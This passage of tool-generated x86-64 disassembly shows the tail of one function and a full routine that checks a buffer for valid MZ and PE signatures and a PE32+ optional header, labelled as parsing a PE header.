mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4d4278
lea rax, [0x2fc4f60e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4d42db
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4d43e0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4d4408
mov eax, 0
jmp 0x2fc4d4456
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4d4431
mov eax, 0
jmp 0x2fc4d4456
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4d4451
mov eax, 0
jmp 0x2fc4d4456
mov eax, 1
add rsp, 0x20
pop rbp
ret